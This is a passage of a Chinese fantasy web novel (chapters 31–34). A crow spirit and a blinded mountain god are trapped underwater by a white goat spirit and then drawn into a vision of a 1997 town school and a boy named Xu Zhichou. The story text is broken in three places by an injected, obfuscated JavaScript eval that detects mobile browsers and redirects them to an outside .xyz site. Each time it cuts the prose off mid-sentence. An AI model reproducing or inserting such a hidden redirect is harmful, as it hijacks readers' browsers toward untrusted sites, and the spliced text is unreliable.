“你……”时妙原颤抖着问,“你的眼睛怎么了?” 荣观真终于反应了过来。他赶忙蹲下想摸墨镜,可是他看不见,情境之下竟不小心摔到了地上。 “当心!” 时妙原想要抱他,被荣观真一把推开了:“你别碰我!” “我就要碰!你到底干什么了,你怎么把自己弄成这个样子?!”时妙原抓住了荣观真的手,“你的眼睛怎么回事?是一直有伤还是刚才弄到了?你为什么一直在流血……你别动!你让我看看!” “你不许看!” “你别闹了!你给我看一下,你现在伤得很重啊!” “不要,不要,不要!我说了不要,你是不是听不懂人话?你以为你是我什么人?!”荣观真近乎崩溃地大吼了起来,“我都说了不要了,我都叫你别再看了,你就不能放过我吗!为什么所有人都这样,为什么你们所有人都不愿意放过我啊!!!!” 四周一片死寂。 时妙原浑身僵硬,荣观真喘息不止。他们以一种十分扭曲的姿势半跪在滩边,荣观真在他怀里挣扎几许无果,肩膀耸动,软绵绵地滑了下去。 滴答,滴答。 鹅卵石间绽放出半透明的花朵,那其中有汗水,有鲜血,也有雨点般清冽的泪水。 荣观真捂住了眼睛。 天边明月彷徨,江面波光粼粼。不知多久以后,时妙原捡起墨镜,小心翼翼地戴到了荣观真脸上。 荣承光站在离他们不远的地方,他脸上写满了震惊。 “哥,你这是……” “不许再叫我哥哥!”荣观真突然暴起,他指着他怒骂道:“荣承光,你说得确实很对,我这辈子确实辜负了不少人,谁都有资格骂我,唯独你不可以!从现在开始你不许再叫我哥哥,我就当从来没有你这个弟弟!” 荣承光张了张嘴,他正想说点什么,突然脸色一变:“当心背后!” 荣观真气得咬牙切齿:“你当我还是小孩子吗?你以为我会信你这招吗!” “不是的,哥!你们快点趴下!!!” 未等荣观真作出反应,时妙原先按着他的头趴了下去。破风声擦过耳廓,下一秒,一支箭直直地钉入了他们刚才所在的地方。 那箭通体由白玉制成,箭身上雕篆着许多意义不明的图样,它落地不出三秒就迅速化作了灰烬,时妙原扭头望去,只见一轮澄白的明月正高悬在断崖之上。 今日临近十五,那月却凭空多出了一小缺口。咬下天宫的并非天狗,而是一个独独茕立的白影。 它生得长脸窄面,横瞳幽蓝,它不知是在这儿站了多久,也不知在此处看了多久。 那是一只纯白色的山羊。 “是它!”时妙原惊恐地抓住了荣观真的肩膀,“就是它,它就是袭击你的那个东西!” 时妙原话音未落,山体忽然剧烈地震动了起来,他与荣观真猝不及防,膝盖一软齐齐摔在了地上。而在此之前,他们不约而同地看见了一个极为惊悚的画面: 那山羊站了起来。 遥英顿时脸色大变。 “江水有点奇怪!要涨水了!都快点到我这儿来!!” 说时迟那时快,他将手上念珠扯散扔开,在江滩上划出了一片金光灿然的领域。可遥英的动作还是慢了一步,未等那光覆盖住所有人,巨浪便咆哮着砸上了岸围。 白马嘶鸣不止,关亭云与关居星慌乱中抱作了一团。东阳江水争先恐后地爬上滩涂,碎石、树枝与细砂纷纷涌入了时妙原的口鼻。 氧气愈加稀少,他也越来越无法控制自己的身体——在即将被巨浪吞噬之前,他艰难地抓住荣观真的手腕,将他死死地按进了怀里。 31. 身心浮沉(一) “好痛……” “是谁在说话?” 时妙原睁开眼,前方是万劫不复之渊。 耳畔有流水声,他的后背好像被撕成了两半。疼痛自心口放射向全身,伴随而来的还有能融化灵魂的高热。周围有烈火燃烧,而亡魂的哀嚎却冰冷刺骨。 “为什么要这样对我们?”有人嚷嚷道。 “我好痛!我好疼!我的翅膀是不是碎掉了?” “救救我……救救我!我一直在流血!” “还翅膀呢,你整个都碎了。” “哇!!” “别吵!叫什么叫,大家都好不到哪去!” “这么多年都过来了,咱们还是再忍忍吧!” 此话一出,周围又是无数哀嚎: “怎么还要忍啊?” “到底得忍到什么时候?” “我想出去!我不想再被关在这里了!” “我想和小草说话!” “我想回树上筑巢!” “我想去河里面洗澡!” “我都快忘记怎么飞了……” “你们还忘记了一件更重要的事情。”一个冷冷的声音说。 “什么?” “我们都已经死了。” 其余人沉默了半秒。 “对哦。” 金乌们齐声惊呼:“我们是因为犯了错才会被送到这来的!!!” “啊!!!!!” 时妙原尖叫着蹿了起来。他一把跳到身旁的大树上,近乎歇斯底里地大喊道:“别杀我!别杀我!求求你们放过我吧!我已经死了不要再折磨我了!我错了我错了我真的不敢再那样了!我,我!我……哎?” 他正惨叫着,那树叹一口气,抬手拍了拍他的后背。 哎? 时妙原僵硬地低下头,映入眼帘的是荣观真无奈无语,无言以对的表情。 “你要在我身上做窝吗?”荣观真问。 “怎么是你?!”时妙原登时大惊失色。慌乱间他失了重心向后倒去,好在荣观真赶在他后脑勺着地之前将他托进了怀里。 这样以来他是不至于摔倒了,可这姿势未免就有些伤风败俗。时妙原抬头一看,遥英的表情局促得像是因为没带暑假作业被老师罚站的小学生,而他背后的荣承光脸上也写满了不慎撞破长辈私情的绝望。 时妙原整个人轰!的一声从头红到了尾。他赶忙从荣观真身上跳了下来:“我……咳!咱们这是在哪?” “你终于醒了,我还以为你得在这儿睡够八小时才肯起床呢。”荣承光干巴巴地说,“这里是水底,你正在水下,哥几个着了那山羊头的道,我们现在都出不去了。你是这儿最弱的,我劝你赶紧趁还能动想办法给自己找块合适的地方埋了吧。” “水、水底?这不对吧?”时妙原结结巴巴地问,“不是,如果是在水里的话,这里为什么会有光?这间屋子为什么还没有被淹?” “是因为这个。”遥英看出时妙原的疑惑,他举起右手,将一颗金光璀璨的宝珠展现在了他的眼前。 “这是避水珠,它可令我们免于水淹洪害。”他为时妙原解释道,“如果没有它,我们应该早就已经没命了。” 避水珠能自发光,它照亮了他们周边的一小片天地。时妙原环顾四周,他发现这里这是间小型的工作坊。地上散落着许多木块,还有木锯、钉锤和小刀等大小尺寸不一的雕刻工具。在他左前方有几扇看着就上了年头的推拉玻璃窗,两条神情呆滞的河鱼从窗外游过,一眨眼就消失在了无边的黑暗中。 咕咚。 时妙原咽了口唾沫。 他紧张地问:“我们是怎么到这儿来的?” “具体过程不太清楚,但我们应该都是被那个山羊一样的怪物给带到这儿来的。”遥英说,“刚来的时候这里全都是水,我、承光和荣大哥倒没受什么影响,就是你……你姓常是吧?常兄弟,你刚才差一点儿就被淹死了,你要是再不醒,我们可真就不知道该怎么办才好了。你现在人还好吗?身体感觉怎么样?” 人是还好,就是感觉不是很美妙。时妙原想起了刚才的噩梦,那好像已经是很久以前的事情了。那时候他还和其他死去的金乌一起在地狱接受刑罚,至于理由嘛其实很简单:这是因为他们九个姐妹兄弟在天上干活太卖力,把人间烤得有点太不像样子了而已。 他稍定心神,问道:“我刚才有没有说什么很奇怪的话?” 遥英说:“有。” “啊?” “但是我们都没听清,就是感觉你好像很害怕。”遥英指着荣观真说,“荣大哥怕你难受,就一直抱着你。” 真的假的?!时妙原满脸见了鬼一样的表情,而荣观真却一脸置身事外的淡定。他一直在默默地打量那扇窗户,就好像还在等那两条不知何时会归来的游鱼。 等等。 他真的是在看鱼吗? 不对。时妙原心下一惊:荣观真的墨镜不见了。 不仅如此,那只专门留来共感的棉花娃娃也不知去了哪里。 这里深居水底,状况不明,他为数不多的法力都受到了压制,山神的感知力恐怕也要打许多折扣。现在的荣观真表情虽然淡定,但手却有意无意地扶在墙上,身体的姿态也并不放松。他的眼睛已经不再流血了,但是,时妙原还是无法忘记他刚才在岸上的那副模样。 他从来没见过荣观真露出那样绝望的表情。 不等他询问荣观真的情况,荣承光先抢过了话茬:“我刚才试过了,这不是我所了解的任何一片水域,这里的水也几乎不听我使唤。能用避水珠腾出地方已经是万幸,我们本来想直接走的,但是你一直在嗷嗷呜呜地乱叫,真的是烦死人了,拖后腿的东西!” “什么呀?老爷,他凶我!”时妙原立马躲到了荣观真身后。他无视荣承光快要翻到天上的白眼,抬头可怜巴巴地问荣观真说:“不过荣老爷,亭云和居星去了哪里呢?我怎么一直没看见他们,他们应该不会有事吧?” “不知道,但应该就在附近。”荣观真颔首道,“他们应该是安全的,我能感觉得到。” “那白马呢?” “被我收回来了,它是我的灵体,不打紧。” “哦……哎,那你的墨镜到哪去啦?” 时妙原七拐八拐,终于绕到了这个话题上面。荣观真神情稍稍一顿,然后说道:“……早就不见了。一直没找到,应该是掉到别的什么地方去了。” “哎,那你现在岂不是看不见了?”时妙原故作惊讶地问。 “还好吧,其实这也不是什么大…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142673|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “哦,我有办法!”时妙原以拳击掌道,“你等我一下!” 说着,他蹲在地上翻出一块巴掌大的木头,又从散落的工具中取了只趁手的雕刻刀,就这样撅着个腚叮叮咚咚地凿了起来。 “你在干嘛呢?整这死出吵死人了!”荣承光嫌弃地嚷嚷了起来。 时妙原头也不抬地说:“你还问?当然是现造神像啊!你哥眼睛坏了,得借神像共感才能视物,你难道一点都不知道吗?我们家老荣瞎了好些天,你这个亲弟弟连问都不带问一下的,我总不能对他坐视不管吧!” 荣承光骂骂咧咧地地扭过了头去。几分钟后,时妙原站起来拍了拍手上的木屑:“好了!大功告成!都来看看你鸟爷爷的手艺吧。” “哦哟,这就雕好了?”荣承光嗤笑道,“不是我说你,有时候人确实是关心则乱。就你这临时雕的神像,我不信能顶什么……我靠?” 时妙原把木雕举到了他面前。荣承光定睛一看:只见它三庭五眼规整,神情姿态灵动,线条简洁却不失美感,腰间一柄长剑风姿无限——虽然就只有巴掌那么点大,瞧这活灵活现、神气洋洋的样子,根本就是个超迷你微缩版的荣观真嘛! 荣承光的嘴巴张成了O型,他正想说点什么挽回自己的颜面,时妙原就趁其不备,刷!地扯下了他的红衬衫领子。 “啊!!!你突然这样干嘛呀?!”荣承光尖叫着躲到了遥英身后,“这可是我昨天新买的衣服!!!!” “不许叫!多大人了,借你点东西用用居然还这么小气!” 时妙原无视荣承光叽里咕噜的叫骂声将红布撕成了两块。他把其中一片盖到木雕上,另一半则讨好似的递到了荣观真手里。 “荣老爷,荣帅哥,荣长老?我看您现在闲着也是闲着,要是心情不错,不如赏脸来给徒儿的新作开一开光呗?”他笑着问。 荣观真稍作思考,将手放到了红布条上。 时妙原在一旁巴巴地等了老半天,眼前人却迟迟没有要再进一步的意思。 “哎,老爷啊,您可是有什么顾虑?”他试探性问道,“你应该只需要给神像开个光,做个简单的仪式,然后一直带在身边就可以了吧?难道说现在你连这点法力都没有了?还是说布有问题……这是你弟弟的衣服,红色的哎!难道不行吗?” “开光倒是能开,就是……”荣观真迟疑地问,“你说这是荣承光的衣服,他不会没洗澡吧?” “老不死东西你什么意思?你在这埋汰谁呢!!!”荣承光像被踩了尾巴的猫一样跳了起来,要不是遥英拦着,他可能真的已经冲上去挠荣观真的脸了。“你不想要就赶紧还我,我不给你用了!那死鸟!你赔我衣服!” 时妙原闻了闻手中的布条:“嘶……你别说。好像是有股小蛇崽子味儿。” 荣观真面露难色:“是吧?我感觉至少有两天没换了。” “他是不是刚吃过什么东西?” “闻起来应该有葡萄。” “什么?你们胡说!绝对不可能!”荣承光整个蛇如遭雷劈,“老子来之前明明洗了的,我一天可是要洗三次澡而且我每次洗完都会用茉莉花香香大麦身体乳的我怎么可能有味道啊我怎么……我不信!你骗我!你们都在说谎……我自己闻怎么什么味道都没有啊!!!” 32. 身心浮沉(二) 时妙原贴心地对荣承光解释道:“可能这就是当局者迷吧。你自己每天都已经习惯了,光闻肯定是闻不出什么名堂的。” “算了,就这样吧。也没别的选择,先凑合用用得了。”荣观真说着,把红布条蒙到了脸上。 “对啊,怎么说也是亲弟弟哎?从小不点一个带到大的,就先别计较那么多了。”时妙原说着将木雕塞进荣观真手里,“来,老爷,给你的尊像开个光吧。别担心,它以后要是也入味儿了,我就回去弄点洗衣粉再给你刷刷。” “行。” 荣观真抬手开始施法,室内顿时泛起了一阵无形的暖流。木雕上蒙的红布应声而落,时妙原将它捡起来时,还故意冲荣承光皱了皱鼻子。 “……唉。” 遥英轻叹一口气,把快要碎成好几截的荣承光扒拉进了怀里。 他一会儿捏捏荣承光的爪子,一会儿又揉揉他的头发,还时不时凑在他耳边讲点小话,整套动作下来,哄得那叫一个轻车熟路。 遥英忙着为荣承光修复心理创伤的时候,荣观真很快完成了神像的开光工作。暖意逐渐消散,那木雕外表依旧如初,只是在有灵力的人或者妖眼中,它浑身都被蒙在了一圈澄澈无比的神光之中。 时妙原凑上去问道:“怎么样,现在能看见了吗?” “嗯……” 荣观真缓缓眨了眨眼睛。 眼前的景色朦胧,他所处的空间整体并不宽敞。 长条形的木桌歪七扭八,半开的抽屉里堆放着许多雕刻工具与材料。红布为他的视野打上了一层滤镜,而在那深重的血色中,有一人正满怀期待地凝望着他。 那人的笑很模糊,面貌也有些不清不楚,他眼中似乎有光在闪烁,荣观真一点头,他就兴奋地欢呼了起来:“好耶!那我再给你装饰一下。” 时妙原重新拿起雕刻刀,吭哧吭哧地在神像上穿了个小孔。然后他一阵翻箱倒柜,从抽屉里摸出一截细绳,串进去打好结挂到了荣观真脖子上。 “好咯!这样就不会丢了。哎呀……真是漂亮!”时妙原左看右看满意极了,不由得喜滋滋地自夸了起来,“荣老爷啊真是有福气呢,也不知道是谁给弄的哦,您要是离了他,现在估计就得抓瞎嘞!” 遥英凑上前来感慨道:“哎!真的弄得挺像样的!常兄弟,你这儿还有线么?能不能给我也编一下呢?我的念珠散了,用手拿避水珠总归不方便。” 时妙原当即拒绝:“叫你家小荣给你整呗,他不是很有本事的吗?堂堂东阳江水神,做个小手工应该不成问题吧?” “你怎么和遥英说话呢!”荣承光怒目而视。 “哟哟哟,臭汗衫大王还耍起横来了,有本事你过来打我啊!”时妙原咋咋呼呼地叫了起来,“我告诉你,我可是你哥的心头宝!你敢动我一下,他绝对会把你屁股给踹开花!我都不稀得说你了,你连颗珠子都不会串,给人欺负了还要护法来哄,真是个没用的草包少爷!” “你说什么?!我串就我串!” 荣承光说着,气势如虹地放开遥英,狂放无比地踢开抽屉,意气风发地抓出半截牛皮绳,略有迟疑地穿好宝珠,满头大汗地将绳子绑到遥英手上,哆哆嗦嗦地给他编了俩蝴蝶结。 时妙原定睛一看:真是天纵奇才之作!小荣老爷此番技艺正可谓是:爸爸的爸爸是婆婆,奶奶的妈妈是太爷,舅舅的闺女变小叔,阿姨的老婆成叔侄,简而言之弄得是完全驴唇不对马嘴。 遥英翻来覆去打量了几下,笑着对肉眼可见地泄了气的荣承光说:“好看的。” “真的?”荣承光眼前一亮。 “真的呀,串颗珠子而已,你这么厉害,这对你来说岂不是小菜?”遥英细细端详道,“就是绳结打得有点乱,等回家了可以把线头再捋一捋。” “那……好!那我之后再多给你整几串!” “无脑溺爱不可取啊。”时妙原摇头悲叹。 几番交谈过后,四人之间的气氛稍微缓和了一些。荣观真抬头“望”向窗外,又有两三丛湖鱼优哉游哉地游了过去。 他的眼睛上蒙着红布,这个造型看起来比之前用红纸的时候要利索不少。时妙原盯着他露出来的下半张脸和嘴唇看了好几秒,差点没忍住又给自己来两巴掌。 呔!你这色胚!天使恶魔唰唰唰唰往他脑门射了四箭:都什么时候了还在想这种事情! 还是赶紧琢磨正事儿吧!时妙原清清嗓子,朝捧着遥英的手傻乐的荣承光喊道:“承光老爷!那什么,你比较水,我问你啊,你觉得现在咱们应该怎么办才好?” “什么叫我比较水?你说话注意点!”荣承光瞪了他一眼,“真是的,你这是求人解答的态度吗……如果我没猜错的话,外面那些应该都是重身水!” 时妙原当即一愣:“重身水?” “孤陋寡闻了吧,你是不是不知道重身水是什么东西啊!”荣承光臭屁地说,“我告诉你,重身水只在克喀明珠山有,那地方地处西南雪山地区,地势高且复杂,一年到头连只鸟都飞不过去。它只受克喀明珠山神贡布达瓦操控,可贡布达瓦本尊几乎从不对外现身……我靠,这么一说,他的灵体好像就是一只白山羊啊?” 荣承光说着脸色一变:“不对劲,我和贡布达瓦之间没有任何过节,照理说他不应该来找我麻烦的啊?而且那个死羊头给我的感觉也不像他……等出去了我得找个机会问问。” “先别管贡布达瓦的事情了,我问你,你这么了解重身水,那你知道它是用来做什么的吗?”时妙原问。 “据我所知,它除了不受雪山山脉以外的神明号令之外,和普通的水没有太大区别。”荣承光思索道,“虽然我也只是在传说里听过这东西,但我觉得,对我而言它的威胁应该可以忽略不计,大不了就是游在里面的时候多憋几分钟气儿,像遥英这样的普通人可能就有些麻烦了。” “不过嘛,有承光在身边,我也不会出什么事的。”遥英抬起了手腕,“而且我还有避水珠,承光虽然管不了重身水,这上古流传下来的宝物多少还是能起到点作用的。” “不要掉以轻心,这里应该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142674|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅仅有重身水而已。”荣观真冷不丁开了尊口,“那东西费尽心机把我们弄到这儿来,肯定有它自己的盘算。继续逗留下去不是长久之计,遥英,我们现在带着避水珠出去,能找到上岸的路么?” 遥英答道:“淹死倒是不会……” 荣承光赶忙接过话茬:“淹死肯定不会!只是这里我不太熟,想找到出路得花点时……” “那走吧,我们先去找亭云和居星。” 荣观真已经来到了门前。他回头对遥英说道:“我们这儿还有个不能淹水的东西,就拜托你等下多费费心了。” 不能淹水的东西恰如其时地“叽”了一声。 “……那行,我来开门。”遥英走上前去,将掌心按到了门上。“劳烦各位都后退些吧。” 避水珠的光辉略盛了许多,与此同时遥英口中也开始念念有词,荣家兄弟二人一左一右站在他身后,时妙原瞥了荣承光一眼,这小子的表情就跟刚吞了半打绿头苍蝇一样难受。 时妙原猜,这大概是因为荣观真还在生他的气。 从刚才开始,荣承光就一直上窜下跳地想引起荣观真的注意,只可惜后者根本就不给他破冰机会。时妙原别的本事没有,判断荣观真的喜怒绝对是一流:这小子从小就爱生气,闷的明的大的小的轮着来,不论哪种都能让人一顿好受。 荣承光虽然也承袭了荣观真的坏脾气,可他和他那心思深沉脾气古怪满脑子极端念头的亲哥比起来根本就是个傻蛋。他在江边讲的话太戳荣观真肺管子,故而现在不论水神大人如何暗搓搓伸橄榄枝,荣观真都并不愿意给他好脸色看。 祷词念到最后,有少许金光缓缓渗透了门缝。门外传来阵阵潮汐声,待到水声平息大半之后,遥英回头说道:“应该可以了,我们现在出去吧?” 时妙原立马欢呼了起来:“好耶!走走走!管他是人是羊是鬼是仙的,咱们都先去会一会吧!那什么,你们可得保护好我哦,我是鸟妖,我的翅膀很金贵,沾不得水的!” “鸟妖?”荣承光嘀咕了一句。 时妙原用尾巴尖儿都能猜到这蛇脑子里在想什么。他无视此君狐疑的眼神,小碎步贴到荣观真身边,伸出爪子轻轻扯了扯他的袖管。 荣观真问他:“你干什么?” “我要和你手牵着手走。”时妙原大言不惭地说,“本护法能力有限,技艺生疏,临时造的神像恐怕不太好使。老爷你眼神不好,等下别一个不小心摔沟里去了。” “……” 荣观真眉头一皱,他正准备说些什么,那老木门突然咔咔响了两下。 嗯? 众人循声望去,就在这时一束冰冷的黑水破门而入,直接把时妙原冲翻到了地上。 “啊!谁!!是哪个王八羔子滋我……哎?” 时妙原正欲大骂,门口突然冒出来了一个圆脸圆眼睛的小姑娘。 “徐知酬,你怎么还在这里呀?”她举着小水枪细声细气地喊道,“快别做手工啦!天都快要黑了,你还是赶紧回家准备明天春游的东西吧!” 33. 身心浮沉(三) “徐知酬,你快回家准备明天春游的东西吧!” 说完,那女孩儿举着小水枪一蹦一蹦地跑走了。 荣观真走到时妙原身边,两人对视一眼,心中瞬间有了答案: 那不是活人。 荣承光从袖口放出了两条通体金黄的小蛇,它们一溜烟跑没了影儿。过两三分钟几缕轻烟飞回了主人身边,荣承光闭目聆听片刻,再睁开眼时表情变得十分严肃:“外面有东西。出去看看?” 遥英抬腿便走,时妙原抹了把脸准备跟出去,荣观真冷不丁抓住了他的手腕:“小心别再摔沟里去了。” 金蛇在前方探路,荣承光与遥英紧随其后。时妙原乖乖跟在荣观真身边,门外本来一片漆黑,但当他踏出去之后,映入眼帘的却是一条窗明几净的长廊。 一条长廊,最简单的装潢,最朴素的风格。这里没有水,没有鱼,没有雪山当然也没有那怪异的山羊。 眼前的景象十分正常,时妙原看着真是有一些恍惚:他看见泛青的地砖,褪色的墙皮,底部略积有灰的白炽灯,走廊两旁的窗框——以及窗后嬉笑打闹的孩童。 这里是一所学校。 而他是这里的学生。 许多人迎面走来,他们有的穿着和他同样款式的校服,有的则抱着厚厚的教案和书本。每一个见到他的人都对他露出了微笑,他们的声音像是隔了层膜,膜后的嘴弯弯又嗡嗡地说: “知酬!又在做手工呀?” “这次考得不错。” “今天早点回去,明天咱们班划船,你可得出一份力啊!” “你爸爸妈妈什么时候回来呀?哎哟……还是你一个人带弟弟妹妹哦?” “你妹妹今天又惹老师生气了!你知不知道?” 时妙原的脚步一顿。 他正好路过仪容镜,于是他看清了镜中人的模样。 这还是个孩子。他的长相普通,身材清瘦,整个人还不及长镜一半高,肩上却坨着个比脑袋还要大几倍的书包。 他手里拿着一蓝一红两只京剧脸谱面具,上面的彩漆尚未完全干透,拿在手里散发着一阵阵刺鼻的臭味。 仪容镜里不止有徐知酬,它还倒映出了他身后的光景。墙上布告栏里贴着“1997”的数字气球和各类通知布告,不知是谁在右下角用白粉笔歪歪扭扭地画了匹小马。 在它的脑袋上,还顶着一只得意洋洋、咋咋唬唬的小鸟。 徐知酬盯着镜子看了许久,才回头冲方才搭话那人喊道:“我等下就去找知甄问问看!” 走廊里传来空荡荡的笑声,这里已经没有其他人了。 徐知酬把书包往上提了提,他继续穿过走廊,走下台阶,迈出了教学楼的大门。 这里是慧阳县乌枫镇中心学校,傍晚的风清新柔和,篮球场上有人在打羽毛球,他一边说抱歉,一边捂着脑袋从中间穿了过去。 他一路小跑到了一排平房门口,有一个小小的影子正蹲在“小学部”的牌子下发呆,徐知酬看到赶忙跑了过去,他大喊道:“知甄!哥哥来啦!” “你怎么才来!”徐知甄不满地抬起了头来,“别的小朋友都已经被接走了!” “对不起啊!哥哥放学以后去了趟手工室,一不小心就到这个时间了。”徐知酬赶忙接过她的书包,然后把红色的面具递给了她:“给你画的,你喜欢吗?” “我要蓝色的!” “好,好。” 他们手牵着手走出了校门。 校外就是东阳江,江水不疾不徐,天气预报说最近一周都会是晴朗的好天气。有好些叔叔阿姨骑着自行车经过,每一个都会对他们微笑着道一句好。 走到镇中广场上的时候,徐知酬照例和妹妹寒暄:“知甄,你今天在班上都学了什么?” “没什么好学的,就书本里的那些东西,自己看一看也就会了。”徐知甄干巴巴地答道,“就是那个教数学的老头还在讲什么神仙鬼怪,国学道法之类的东西,我让他别讲了,他居然还不乐意!” 徐知酬捏了捏她的手:“哦,我听说你和老师吵架了,能告诉哥哥原因吗?” “这还用问吗?因为这世上根本就没有神仙啊!如果有,那也人编出来骗人骗钱的!” 徐知甄突然激动了起来,她本来就是小不点一个,现在这表情非但没有威胁性,反而让她看起来像是一颗愤怒的红苹果。 她说:“我讨厌这些东西,还讨厌他占用课堂时间在那讲什么道可道非常道之类的屁话!所以我就跟他说,我不信鬼神,更不信你这种神棍,哪天要是真有神仙来找我,我也会想办法弄死他的!” “你讲话注意点吧!”徐知酬赶紧捂住了她的嘴巴,“知甄,咱们可都是人,人怎么能杀神仙呢?” 徐知甄瞪了他一眼:“就连你也信这套是吗?” “你先别管我信不信,我问你,你等下要不要吃烤淀粉肠?” “……” 徐知甄拉着脸生了会儿闷气,然后她恨恨地说:“吃!” 烧烤摊就在广场边上,作为全镇唯一的娱乐活动中心,每逢傍晚时分都会有许多居民前来休闲纳凉。 徐知酬买烤肠的时候,恰好有一群老头摇着蒲扇围在一起唠嗑,坐在正中间的是一个侃侃而谈的白胡子老头,大家都喊他道叔,因为他自称三十年前曾在茅山当过一段时间道士。 只听那道叔摇头晃脑地说:“这古书有云,说自从三渎归一之后啊,东阳江已经有一千多年没再发生过水患了。这期间沿岸兴旺发达,滋补出的沃土足有千里万里——这一切啊,都要靠那镇口的白马石雕!” “又在讲这种封建迷信的东西了。”徐知甄咬着淀粉肠嘀咕道。 “那白马是什么来头?”有人问道叔。 “哎老赵啊,你这还能不知道的么?”道叔一拍大腿说,“那白马雕塑你们都看过吧?那可是上千年的古迹!虽说是石头做的,但是却洁白如玉!不论风吹雨打,它自岿然而立!它是被空相山的神仙放到这儿来镇妖的!白马只要一日不倒,东阳江就永无水患之忧!” 老赵焦急地问:“哎,那白马啥时候会倒嘛?” “倒?倒是不会倒的!但是有另一种说法。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142675|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道叔神秘兮兮地说:“我听说,多年以前咱们镇上曾有人收到托梦,说这白马若是能一直维持原状就不会有事,但只要它突然变了颜色,那就一定得逃跑!因为到那时恶妖就会醒来,水神会发怒降下洪灾,什么一泻千里生灵涂炭那都不在话下,咱们镇地处下游,东阳江一决堤咱可就全完了!” 其余人纷纷咋舌,徐知甄的脸色越变越差,眼看她又要发作,徐知酬赶忙拉着她离开了这里。 身后交谈声渐行渐远,快走到镇口的时候他问妹妹:“我们明天要去春游,听说那个岛上有很多漂亮的小石头,要不要我带点回来给你?” “不要。” “那你想要别的吗?” “我想养蛇,你能给我抓吗?”徐知甄反问他。 徐知酬缩了缩脖子:“啊?那恐怕不行哦。我好害怕蛇。” “为什么?蛇多可爱啊!”徐知甄拿着面具胡乱比划道,“冰冰的,滑溜溜的!还会往袖口里钻,我前几天遇到了一条菜花蛇,还和它玩了好久呢!” “好了,好了,你别说了……” 周围景色越发荒芜,前方水稻田一望无际。小镇熙熙攘攘的建筑群在他们身后不断远去,几百米开外的地方是乌枫镇上了年头的路碑。 在它旁边,孤零零地屹立着一座石头雕刻的骏马。 它的蹄子已被杂草淹没,夕阳为它蒙上了一层昏黄的纱帐,这让它看起来既凄凉又寂寞。 过往几千年它都是这样独自度过的,不过今天不一样,今天有人在它身边陪伴。 有个白白胖胖的男孩坐在马背上涂涂画画,徐知酬隔老远就认出了他:“墨林!你怎么在这里?” 赵墨林闻声抬头,笑着冲徐知酬扬了扬手中的水笔:“我在画画!一起来么?今天夕阳很好看。” 徐知酬走上前去,只见赵墨林身边摆着一盒48色的水彩笔,他看出徐知酬有些心动,便递了支红色的水笔过去:“来,你试试。” “哎?我?” “你不是最喜欢画画做手工吗?来试试色吧。”赵墨林把笔塞到了徐知酬手里,“我跟你说,这是我妈新给我买的,可好使了!涂哪儿都不带含糊的,就这个石头都能上色,不信的话你也来试试!” 徐知酬一看,白马身上果然有许多花里胡哨的曲线。他举着笔比划了两下,有些迟疑地问:“但这样是不是不太好啊?” 赵墨林眉头一竖:“你这人咋不领情哦,给你画你还不乐意,咋的,你难道对我有意见啊?” 徐知酬赶忙摆手:“不不不,我没有这个意思!我是觉得乱涂乱画不好,而且,而且不是说这个雕像是……是……” “是什么?” “就,我听他们说,这匹白马是用来镇妖……” “哎?哦!你说这个啊!” 赵墨林露出了恍然大悟的表情:“知酬啊,你不会是听谁说了那个空相山神的传说吧?就那个谁,你们叫他荣老爷是吗?大荣老爷小荣老爷,山神水神一家子都是神对不对?哎哟……你几岁了徐知酬,怎么到现在还会信这种哄小孩子的把戏啊!” 34. 身心浮沉(四) 赵墨林气呼呼地叉起了腰:“徐知酬,你爸爸妈妈难道没告诉过你要相信科学吗!” “那什么,我爸妈一般都不在家……”徐知酬吞吞吐吐地说,“他们平时都在慧阳县城上班。” “哦!忘了这茬了,不好意思啊。”赵墨林跳下马背,嘻嘻哈哈地拍了拍徐知酬的肩膀,“反正就是个神话传说,根本就禁不起深究的嘛!你不会真信了吧啊?没看出来你小子学习成绩那么好,结果也跟个小老头似的天天疑神疑鬼。” 徐知酬苦笑道:“我这不是害怕吗?他们说得都有鼻子有眼的,我想不信也难吧?而且我爷爷以前说过,说我弟弟和妹妹小时候身体不好老生病,是在江边磕了头,上过供还认了水神做干爹之后才慢慢好起来的。要这么说的话,我,我也不能对帮过我的神仙不敬是吧……” “有啥好害怕的,哪有那么多山神水怪等着惩罚咱们呢啊!这世上要是真有神,他认不认识你都还两说!”赵墨林不耐烦地催促道,“你还是快点儿试试我这水彩笔吧!我跟你说这可是德国货啊,你就算往慧阳县城里找,那也没几家能有的!” 徐知酬犹豫再三,拿起水笔在白马身上比划了好几下,终究还是没能决定要在哪里下笔。 “知酬!墨林!你俩干什么呢!” 